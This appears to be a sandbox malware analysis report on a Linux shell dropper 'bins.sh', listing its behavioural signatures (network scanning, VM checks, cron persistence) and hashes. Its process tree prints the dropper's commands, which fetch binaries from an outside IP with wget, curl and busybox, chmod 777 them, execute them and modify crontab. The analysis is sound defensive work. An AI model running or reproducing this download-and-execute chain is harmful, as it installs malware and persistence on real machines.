Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    176s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/11/2024, 18:28

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241110-w4azkascpp
  • SHA256 65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1954) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          2⤵
          • Writes file to tmp directory
          PID:756
        • /bin/chmod
          chmod 777 ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          2⤵
          • File and Directory Permissions Modification
          PID:761
        • /tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          ./ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          2⤵
          • Executes dropped EXE
          PID:763
        • /bin/rm
          rm ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
          2⤵
            PID:765
          • /usr/bin/wget
            wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
            2⤵
            • Writes file to tmp directory
            PID:766
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:775
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
            2⤵
            • Writes file to tmp directory
            PID:776
          • /bin/chmod
            chmod 777 NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
            2⤵
            • File and Directory Permissions Modification
            PID:777
          • /tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
            ./NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:778
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:780
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:781
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:782
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:783
                • /bin/rm
                  rm NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                  2⤵
                    PID:785
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
                    2⤵
                      PID:788

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
                        • Path /tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
                        • Size 99KB
                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                        • Path /tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
                        • Size 177KB
                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.l5JO4B
                        • Path /var/spool/cron/crontabs/tmp.l5JO4B
                        • Size 210B
                        • SHA256 b825e3bdf69318e75437fa007086889ab91cf83f0bd0784a66c0f796b7fe98c4
                        • MD5 SHA1 SHA512
                        Submit Download